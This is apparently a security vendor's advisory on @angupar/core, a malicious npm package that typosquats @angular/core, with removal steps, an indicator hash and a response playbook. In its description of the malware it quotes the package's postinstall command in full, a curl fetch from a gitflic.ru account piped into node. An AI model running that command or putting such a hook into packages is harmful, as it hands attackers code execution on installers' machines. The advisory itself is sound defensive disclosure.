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Malicious package

@angupar/corenpm

Advisory published Updated

@angupar/core is a confirmed malicious npm package (MAL-2026-17539) that typosquats a legitimate package to trick installs (malicious version 22.2.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in @angupar/core (npm)

MAL-2026-17539
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall @angupar/core

What this malware does

Package impersonates @angular/core (name @angupar/core, author field "angular", repository pointing at github.com/angular/angular, README copied from Angular). Its package.json postinstall script runs curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node, fetching JavaScript from a third-party user account (hellscripter on gitflic.ru) through a web.archive.org proxy and piping it directly to the installer's Node runtime. The fetch is unpinned, has no integrity check, and resolves to a host unrelated to the Angular project. npm install @angupar/core therefore yields arbitrary install-time code execution under attacker control, with the typosquat on @angular/core serving as the delivery lure.

Malicious versions

1 flagged
22.2.1

Indicators of compromise (SHA-256)

61d3f74118d7ca9e50d79028ad472e56f68c8f86111fb03973a0c01a00b4cd84

Detection & response playbook

Typosquat
  1. Find it

    Search your lockfiles and build artifacts for @angupar/core (version 22.2.1).

  2. If you installed it — respond

    @angupar/core is a typosquat — you almost certainly intended a legitimately-named package. Remove @angupar/core, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

  3. Did it already run?

    If @angupar/core was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. @angupar/core on npm has been identified as a malicious package (version 22.2.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-020992

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks @angupar/core-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Explore

@angupar/core (npm) malicious package — MAL-2026-17539 | O3 Security